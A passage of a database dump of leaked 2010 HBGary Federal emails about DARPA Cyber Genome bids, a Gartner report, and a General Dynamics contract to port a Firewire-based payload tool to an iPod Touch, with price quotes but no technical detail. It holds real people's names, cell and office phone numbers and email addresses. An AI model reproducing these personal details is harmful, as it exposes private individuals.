Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n> 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n02:34:00\r\n\r\n',10224,'aaron_hbgary_com/10224.html'),(3004,'2010-02-23','\"Van Buren, Karen\" <kvanbure@harris.com>','/aaron@hbgary.com/new/1297001429.M763972P3547Q3004.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','DARPA Cyber Genome project','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nAfter thoughtful consideration, we have decided that the MITRE MAEC white paper mirrors our approach for technical area one and have decided to no bid that area.&nbsp; Let\'s keep the communication open and try to collaborate on opportunities\r\nas they arise in the near future.&nbsp; It was great meeting you.&nbsp; I would still like to get an NDA in place and talk with you about our capabilities and yours.&nbsp; Please let me know if that is still god for you.\r\nRegards, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren K. Van Buren\r\nSenior Program Manager\r\nHarris Corporation Crucial Security Programs\r\n14900 Conference Center Drive, Suite 225\r\nChantilly, VA 20151\r\n703.961.9456 x247 (office)\r\n703.774.6583 (cell)\r\n703.961.9459 (fax)\r\nkaren.vanburen@harris.com\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',9647,'aaron_hbgary_com/9647.html'),(3005,'2010-02-23','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297001430.M11349P3547Q3005.eml','\"Ted Vera\" <ted@hbgary.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,,,','RE: more Task B work','Hi Ted,\r\n\r\nHere are answers to your questions...(I added numbers to correspond to my answers)\r\n\r\n1) 	Understood.  Who is \"we\"...are we talking Sherri at Clear Hat Consulting/other subcontractor or in-house HBGary? \r\n2)	2 weeks is fine starting late this/next week. It is what it is. Please let us know feasibility asap. \r\n3)	Development plan and schedule is always a good idea. I assume this means the development/porting/INT schedule, not the feasibility 2 week schedule.  So...along these lines, as we (\"we\" being me) get a little smarter and more mature about things, I would like to be explicitly clear on what our expectations are with the iTouch delivery so that you guys can feel free to revisit your bid for concurrence and/or rebid (assuming the feasibility study has been conducted and determined doable).  As such, the enclosed document represents a more methodical statement of work for what we are requiring.  Since you\'re new to managing this Task B, Martin and Scott will be the first to tell you that I\'ve frankly been pretty lax in the past mostly because of the informality of ad hoc research.  Since this is more of a bound delivery, I believe this delivery can support this type of formality.  I apologize for not sending this before I asked if the past quote was still valid as I did not stipulate the enclosed kinds of functional and operational formalities earlier. Feel free to ping me if there are any issues with anything in the document. Please note: the enclosed document is for your review and general bidding discussions only; I will fill out our GDAIS SOW template format and formally send through our subcontracts for a formal RFP response and for completeness. \r\n4)	Period of Performance we anticipate a Start Date of April 1, 2010 -- June 30, 2010 (90 days).  I would like an interim delivery around May 11 which should show crude operation of the porting, but may not need all the slick bells and whistles stipulated in the enclosed document.  This interim delivery should be more of a proof of concept delivery, but should functionally work (if possible by this date).  If your timeframe is more aggressive, then great. \r\n\r\nWe look forward to your response. \r\n\r\nRegards,\r\nBill\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, February 22, 2010 7:28 PM\r\nTo: Spiller, John F.; Thompson, Bill M.\r\nCc: Martin Pillion; Penny C. Hoglund; Scott Pease; Barr Aaron\r\nSubject: Re: more Task B work\r\n\r\nHello John & Bill,\r\n\r\n1)   Today we had a meeting to discuss the iPod Touch feasibility study.\r\nMartin does not have iPod / Xcode development experience, however we\r\nhave other engineers who do.  We will need to get them involved (still\r\nworking within the proposed value) on the study.\r\n\r\n2)  We expect the feasibility study to take approximately two weeks to\r\ncomplete, however the earliest we will be able to start is late next\r\nweek. \r\n\r\n3) One aspect of the study will be a development plan and\r\nschedule.\r\n\r\n4)  Do you have a period-of-performance or hard suspense date that the\r\ndevelopment needs to be completed by, so we can work the schedule\r\naccordingly?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 11:24 AM, Spiller, John F.\r\n wrote:\r\n> Concur. Go for it!\r\n> --John\r\n>\r\n> -----Original Message-----\r\n> From: Thompson, Bill M.\r\n> Sent: Monday, February 22, 2010 9:37 AM\r\n> To: Ted Vera\r\n> Cc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\n> Subject: RE: more Task B work\r\n>\r\n> Hi Ted,\r\n>\r\n> Understood.  Thanks for the update and response. This is good news on all fronts.\r\n>\r\n> Thinking out loud, I anticipate more funds will be spent on a modification to the delivery to accommodate larger payload sizes as soon as I discover/remember the payload size limitation.  We also ran into a stability issue on the last delivery that may or may not need tweaking this time around again.\r\n>\r\n> Regardless, it sounds like there will be enough to do the iTouch feasibility study.\r\n>\r\n> On JOHN SPILLER\'S approval, Please do this ASAP so that we\'ll know if we need to find more money to fully implement this if/when you guys diagnose the feasibility as \"highly feasible\".\r\n>\r\n> Thanks,\r\n> Bill\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, February 19, 2010 3:17 PM\r\n> To: Thompson, Bill M.\r\n> Cc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\n> Subject: Re: more Task B work\r\n>\r\n> Greetings Bill,\r\n>\r\n> Attached is the Project B Status report, as requested.  We forecast an ~$80K estimate-at-complete for our currently assigned tasks, which is significantly less than originally anticipated.  We will honor the previously provided quote for the iTouch feasibility effort and have sufficient funding on contract to complete that task, as well as a significant portion of the iTouch development, if it proves feasible.\r\n>\r\n> Below is my contact information, please let me know if you have any questions.\r\n>\r\n> Regards,\r\n> Ted Vera\r\n>\r\n> Office:  916-459-4727 ext 118\r\n> Cell:  719-237-8623\r\n> Email:  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> On Thu, Feb 18, 2010 at 2:42 PM, Thompson, Bill M.\r\n>  wrote:\r\n>> Hi Ted,\r\n>>\r\n>> We met here in Santa Clara, CA in the NES lab with Ben Wilson when you\r\n>> and Aaron (spelling?) came to visit a couple months ago about HB Federal.\r\n>>\r\n>> Penny informed me a month or so ago that you are the lead for Task B\r\n>> now replacing Scott.  I just got off the phone with Martin about\r\n>> future work for Task B and I would like to know formally from you if\r\n>> you can provide an updated cost estimate to incorporate the latest\r\n>> Firewire implementation into an iTouch device or if the below quote is\r\n>> still valid. (The last quote is provided for your reference below)\r\n>>\r\n>> I would also like to know the status of how Task B is coming along and\r\n>> if there will be budget left over to characterized the feasibility of\r\n>> incorporating into the iTouch device in this current budget. (i.e. can\r\n>> you shoehorn in the first line item \"iTouch Feasibility Study\").  If\r\n>> not, I would suggest that you guys reprioritize to make this happen\r\n>> and then just tack on the additional amount needed to finish the\r\n>> current scope of Task B (Firewire O/S compatibility work) into the\r\n>> additional funds we anticipate sending your way next month.  Of\r\n>> course, John Spiller our PM needs to formally make that\r\n>> reprioritization call if you decide you don\'t have the funds\r\n>> available, but that is my recommendation.   If migrating to an iTouch\r\n>> is feasible, which it sounds like is a good possibility, then we anticipate moving forward with this migration in the next phase of Task B.\r\n>>\r\n>> Please let me know at your earliest convenience as this directly\r\n>> impacts our ability to obtain more funding from a diminishing source.\r\n>>\r\n>> Regards,\r\n>>\r\n>> Bill\r\n>>\r\n>> Sent 11/12/2009 from Scott\r\n>>\r\n>> Bill,\r\n>>\r\n>> We recommend the following operating systems for 32bit development:\r\n>>\r\n>> Windows 2000 Professional SP4   $14,133.12\r\n>>\r\n>> Windows Vista SP0       $14,133.12\r\n>>\r\n>> Windows Vista SP1, SP2  $23,555.20\r\n>>\r\n>> Total   $51,821.44\r\n>>\r\n>> We recommend the following operating systems for 64bit development:\r\n>>\r\n>> Initial 64 bit research $47,110.40\r\n>>\r\n>> Windows Vista SP0       $14,133.12\r\n>>\r\n>> Windows Vista SP1, SP2  $14,133.12\r\n>>\r\n>> Windows 7       $23,555.20\r\n>>\r\n>> Total   $98,931.84\r\n>>\r\n>> The PSP and iPod/iTouch delivery platforms each require an initial\r\n>> feasibility study.\r\n>>\r\n>> iPod/iTouch Feasibility study   $23,555.20\r\n>>\r\n>> iPod/iTouch development $94,220.80\r\n>>\r\n>> Total   $117,776.00\r\n>>\r\n>>\r\n>>\r\n>> PSP Feasibility study   $23,555.20\r\n>>\r\n>> PSP development $94,220.80\r\n>>\r\n>> Total   $117,776.00\r\n>>\r\n>> We do not recommend development for the true server OS versions as\r\n>> they are not likely to be found on a laptop:\r\n>>\r\n>> Windows 2000 Server\r\n>>\r\n>> Windows 2003 Server\r\n>>\r\n>> Windows 2008 Server\r\n>>\r\n>> Let me know if you have questions.\r\n>>\r\n>> Best regards,\r\n>>\r\n>> Scott\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5332,'aaron_hbgary_com/5332.html'),(3006,'2010-02-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001430.M254771P3547Q3006.eml','all@hbgary.com','FW: John Pescatore submitted HBGary for Cool Vendor Report and it was accepted','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThought You Might Find this interesting.&nbsp; This is VERY good news\r\nfor us\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dea,Donna [mailto:Donna.Dea@gartner.com]\r\n\r\nSent: Tuesday, February 23, 2010 9:10 AM\r\nTo: \'Penny Leavy\'\r\nSubject: John Pescatore submitted HBGary for Cool Vendor Report and it\r\nwas accepted\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny &#8211; great news &#8211; see John P&#8217;s email below!\r\n\r\n&nbsp;\r\n\r\nAre you familiar with the Cool Vendors in Technology report?\r\nGartner publishes roughly 50 separate reports, profiling 212 emerging\r\ntechnology vendors. &nbsp;Our &#8216;Cool Vendors&#8217; series is right behind Magic\r\nQuadrants and Hype Cycles as our most read reports from our 60,000 IT end user\r\nclients. Our CIO&#8217;s and Technology Buying clients are consistently looking for\r\nnew technologies to help them improve their business. Our analysts take inquiry\r\ncalls on Cool Vendors often &#8211; are you getting the feedback of what buyers are\r\ncalling about and what we are advising them? Did you know we track reader\r\ndemographics and can tell you by geo, by vertical, and company size who is\r\nreading your Cool Vendor report? We cover 5,000 vendors and we can also show\r\nyou how inquiries in your space and inquiries on your largest competitors\r\nchange quarter by quarter. We break this data down by company vertical, by\r\nrole, by buying decision cycle, by size. Cool Vendor reports are one part of\r\nhow we help emerging technology companies. Our analyst Jackie Fenn, who\r\ninvented the Hype Cycle, recently wrote a book about it utilizing the tool, http://www.gartner.com/it/products/research/media_products/book/index.jsp, We have\r\nover 100 Hype Cycles and these reports are often used as investment frameworks\r\nfrom VC firms, Private Equity firms, and Corporate Development teams. I&#8217;ll like\r\nto discuss how Gartner can assist in growing your business. \r\n\r\n&nbsp;\r\n\r\nThe Cool Vendor is usually published sometime in Q1.You can\r\npurchase reprint rights to this report to post on your website. HTML reprint\r\noptions and its cost are: 12 mo HTML format for $16.5K. 3 mo is $7,600. and 6\r\nmo is $11,700. \r\n\r\n&nbsp;\r\n\r\nHTML sample http://www.gartner.com/technology/media-products/reprints/august2009/sample/sample1.html\r\n\r\n&nbsp;\r\n\r\nLet me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nCongrats!\r\n\r\nDonna\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Pescatore,John \r\nSent: Tuesday, February 23, 2010 7:55 AM\r\nTo: Dea,Donna\r\nSubject: RE: Will you be at RSA in SF in March?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes, will do.\r\n\r\n&nbsp;\r\n\r\nA head&#8217;s up &#8211; I submitted HB Gary for the Cool Vendor report and\r\nthey were accepted and will be in it.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dea,Donna \r\nSent: Tuesday, February 23, 2010 10:53 AM\r\nTo: Pescatore,John\r\nSubject: RE: Will you be at RSA in SF in March?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIf you get a chance, be great if you could stop by HBGary&#8217;s booth\r\nand say hi to them. Penny is the President. \r\n\r\n&nbsp;\r\n\r\nThanks, Donna\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Pescatore,John \r\nSent: Tuesday, February 23, 2010 5:02 AM\r\nTo: Dea,Donna\r\nSubject: RE: Will you be at RSA in SF in March?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi, Donna &#8211; I will be there for a few days, but at this point I&#8217;m\r\ncompletely booked.\r\n\r\n&nbsp;\r\n\r\nRegards, John P.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis e-mail message, including any attachments, is for the sole use\r\nof the person to whom it has been sent, and may contain information that is\r\nconfidential or legally protected. If you are not the intended recipient or\r\nhave received this message in error, you are not authorized to copy,\r\ndistribute, or otherwise use this message or its attachments. Please notify the\r\nsender immediately by return e-mail and permanently delete this message and any\r\nattachments. Gartner makes no warranty that this e-mail is error or virus free.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15452,'aaron_hbgary_com/15452.html'),(3007,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001430.M525125P3547Q3007.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pikewerks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI like some things about Pikewerks&#8230;&#8230;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey see themselves as a software product\r\ncompany.&nbsp; Like HBGary, they want to develop software that gets sold and\r\nused.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey have a history of writing winning gov&#8217;t\r\nproposals. \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Van Putte knows them as they have a\r\nproposal into him now that is being reviewed for possible award.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey are innovative.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe can work out a deal where HBGary ends up licensing/reselling\r\ntheir Linux-based memory and r/e tools.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',192,'aaron_hbgary_com/192.html'),(3008,'2010-02-23','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001431.M126909P3547Q3008.eml','aaron@hbgary.com','Accepted: Discussion with Chris Hummel','\r\n\r\n\r\n\r\n\r\nFriday at 3pm sounds good.\r\n&nbsp;\r\n-Chris&nbsp;\r\n\r\nDate: Tue, 23 Feb 2010 12:53:56 +0000Subject: Invitation: Discussion with Chris Hummel @ Fri Feb 26 3pm - 4pm (chris_hummel@hotmail.com)From: aaron@hbgary.comTo: chris_hummel@hotmail.com\r\n\r\n\r\n\r\n\r\n\r\n\r\nmore details »\r\nDiscussion with Chris Hummel\r\n\r\n\r\n\r\n\r\nWhen\r\nFri Feb 26 3pm – 4pm Eastern Time\r\n\r\n\r\nWhere\r\nTelecon: 719.510.8478 (map)\r\n\r\n\r\nCalendar\r\nchris_hummel@hotmail.com\r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n•\r\n\r\n\r\nAaron Barr - organizer\r\n\r\n•\r\n\r\n\r\nchris_hummel@hotmail.com\r\nGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account chris_hummel@hotmail.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar. 		 	   		  Hotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n',11256,'aaron_hbgary_com/11256.html'),(3009,'2010-02-24','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001432.M242419P3547Q3010.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: DARPA BAA','Experience with subs has been bad partly due to lack of strong managment from HBGary&#39;s side.  In past, HBGary takes on all tasks that are crucial to success, does not sub these parts.  Good for risk, bad for showing talent of sub.  Still doubt HBGary&#39;s ability to strongly sub.  Maybe HBGary Fed. will do better. Would recommend severe caution in this area.  We trust engineers who we can talk to in the lunch room, but remote work, especially University as Penny pointed out, big disappiontments.  To make better relies on strong engineering mgmt on HBGary side.\r\n\r\n \r\n-Greg\r\nOn Tue, Feb 23, 2010 at 2:37 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nYes, our past experiences with universities have been worthless.  Van Puttesaid he&#39;d like to see university involvement.  Yeah, it sucks.  In fact, I&#39;d\r\nsay HBGary&#39;s experience with subs in general has been a disappointment.\r\n\r\n\r\n-----Original Message-----From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]Sent: Tuesday, February 23, 2010 5:16 PMTo: &#39;Aaron Barr&#39;; &#39;Bob Slapnik&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Ted Vera&#39;Subject: RE: DARPA BAA Why do we have to partner with a University?  The last couple of times wedid this they didn&#39;t bring much to the table, not even testing\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tuesday, February 23, 2010 1:28 PMTo: Bob SlapnikCc: Penny Leavy; Greg Hoglund; Rich Cummings; Ted Vera\r\nSubject: Re: DARPA BAAOK.  Latest discussion with GD.  They seem very amenable/flexible to workingout an arrangement.  Basically, they see this as strategic to their DC3 workand just want to be on the team.  With this new piece of information we\r\nmight be able to work out an arrangement.  I am still planning on primingTechnical Area 3 as I don&#39;t want any company to be in control of somethingso close to our key area of work.  On Technical area 1 I am working for a NG\r\nprime with GD and HBGary as subs, probably a university as well.  I thinkthis is workable, but we will see...negotiations continue.  To their creditthe GD guys were handled the discussion very well.  I asked them\r\nspecifically what innovation they thought they brought to the table andwould they consider sub roles on both technical areas.Bob do you think Pikeworks will be amenable to a Tech3 teaming with GD as aminor prime as long as HBGary is the prime?\r\nDC3 along with a small pocket in NSA are probably the only shops that arecurrently doing anything related to full-spectrum cyber analysis, eventhough its all currently manual.  So they do bring operational relevance,\r\nbut that doesn&#39;t get you very far in the dance.  Innovation, innovation,innovation.AaronOn Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:&gt; I went into the conversations with GD full of optimism.  However, the only\r\n&gt; thing they bring to the table is their contracts with DC3.  Van Putte&gt; mentioned DC3 as a potential law enforcement user of some of this newwork.&gt; But when we look at GD for ideas and technology, they came up with\r\nnothing.&gt;&gt; We&#39;ve been in dialogue with GD about DDNA/ePO for internal use,&gt; SOC-in-a-can, and being used in the security consulting services.  This is&gt; potential -- they haven&#39;t given us any money yet.  I&#39;m expecting $40k\r\norder&gt; from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR&gt; proposal (award still pending).&gt;&gt; The teams Aaron assembled for topics #1 and #3 look strong.  Will wepursue\r\n&gt; topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two&gt; topics to make sure we nail them.&gt;&gt;&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, February 22, 2010 11:58 PM&gt; To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik&gt; Subject: DARPA BAA&gt;&gt; Guys,&gt;&gt; Just wanted to let you know of our decision and take any comments.  Ted\r\nand&gt; I have been discussing this for a few hours and have come to a decision.We&gt; are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,&gt; Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n&gt; Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain&gt; our decision as best I can and the reasons for not continuing to pursuethis&gt; effort with them.  I believe this will come with significant\r\ndissapointment.&gt;&gt; GD has brought nothing to the table for this particular effort.  Northrop&gt; not only has the Information Geometry technology but we are working with&gt; them under their R&amp;D to develop the threat intelligence effort which will\r\n&gt; fold well into Tech Area 1.  It would not make sense to team with NGXetron&gt; given our TIC work and their technology.  I have asked to either meet or&gt; talk with Chris Starr one on one tomorrow.&gt;\r\n&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&gt;&gt;&gt; No virus found in this incoming message.&gt; Checked by AVG - www.avg.com&gt; Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n&gt; 14:34:00&gt;Aaron BarrCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.com\r\n\r\n\r\n\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/1002:34:00\r\n',1881,'aaron_hbgary_com/1881.html'),(3010,'2010-02-24','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001432.M434662P3547Q3011.eml','aaron@hbgary.com','Lmco','\r\n\r\n\r\n\r\n\r\nLmco\r\n\r\n\r\n\r\n\r\nSorry about dinner last night. Were you able to get an appt with lmco for this morning?&nbsp; Let me know. Billt\r\n\r\n----- Original Message -----\r\nFrom: Thompson, Bill (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Mon Feb 22 15:43:03 2010\r\nSubject: RE: Good Input\r\n\r\nCool\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, February 22, 2010 4:42 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\ntrying haven\'t heard back yet.&nbsp; I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n&gt; I thought we were going to LM and you were getting an appt with Jim Racz\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, February 22, 2010 4:40 PM\r\n&gt; To: Thompson, Bill (Xetron)\r\n&gt; Subject: Re: Good Input\r\n&gt;\r\n&gt; ok lets shoot for it then.&nbsp; Earlier the better for me.&nbsp; So this is to LM\r\n&gt; or customer?&nbsp; Where would we do it?\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n&gt;\r\n&gt;&gt; Nice.&nbsp; Aaron,&nbsp; Matt tells me that the best day for UNO is Wed.&nbsp; That\r\n&gt; is\r\n&gt;&gt; when they allow capabilities pitches.&nbsp; I will be available until\r\n&gt; around\r\n&gt;&gt; noon.\r\n&gt;&gt;\r\n&gt;&gt; billt\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Monday, February 22, 2010 4:30 PM\r\n&gt;&gt; To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n&gt;&gt; Subject: Good Input\r\n&gt;&gt;\r\n&gt;&gt; I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n&gt;&gt; Van Putte.&nbsp; He was interested in our Threat Intelligence Center\r\n&gt; concept\r\n&gt;&gt; but said it sounded to evolutionary for funding as it is.&nbsp; But a few\r\n&gt;&gt; government folks that represented the &quot;end customers&quot; stopped us later\r\n&gt;&gt; and told us that what we were developing was exactly what was needed\r\n&gt; and\r\n&gt;&gt; that no one is approaching it this way.&nbsp; Good input.\r\n&gt;&gt;\r\n&gt;&gt; Brian call me when you get a chance.\r\n&gt;&gt;\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12984,'aaron_hbgary_com/12984.html'),(3011,'2010-02-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001432.M44789P3547Q3009.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Consultig agreement between HB and FED','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe need rates for GD for this\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10375,'aaron_hbgary_com/10375.html'),(3012,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001432.M627794P3547Q3012.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Lmco','Nope.From my iPhoneOn Feb 24, 2010, at 7:10 AM, &quot;Thompson, Bill (Xetron)&quot; &lt;Bill.Thompson2@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSorry about dinner last night. Were you able to get an appt with lmco for this morning?  Let me know. Billt\r\n\r\n----- Original Message -----\r\nFrom: Thompson, Bill (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Mon Feb 22 15:43:03 2010\r\nSubject: RE: Good Input\r\n\r\nCool\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, February 22, 2010 4:42 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\ntrying haven&#39;t heard back yet.  I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n&gt; I thought we were going to LM and you were getting an appt with Jim Racz\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, February 22, 2010 4:40 PM\r\n&gt; To: Thompson, Bill (Xetron)\r\n&gt; Subject: Re: Good Input\r\n&gt;\r\n&gt; ok lets shoot for it then.  Earlier the better for me.  So this is to LM\r\n&gt; or customer?  Where would we do it?\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n&gt;\r\n&gt;&gt; Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That\r\n&gt; is\r\n&gt;&gt; when they allow capabilities pitches.  I will be available until\r\n&gt; around\r\n&gt;&gt; noon.\r\n&gt;&gt;\r\n&gt;&gt; billt\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Monday, February 22, 2010 4:30 PM\r\n&gt;&gt; To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n&gt;&gt; Subject: Good Input\r\n&gt;&gt;\r\n&gt;&gt; I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n&gt;&gt; Van Putte.  He was interested in our Threat Intelligence Center\r\n&gt; concept\r\n&gt;&gt; but said it sounded to evolutionary for funding as it is.  But a few\r\n&gt;&gt; government folks that represented the &quot;end customers&quot; stopped us later\r\n&gt;&gt; and told us that what we were developing was exactly what was needed\r\n&gt; and\r\n&gt;&gt; that no one is approaching it this way.  Good input.\r\n&gt;&gt;\r\n&gt;&gt; Brian call me when you get a chance.\r\n&gt;&gt;\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal 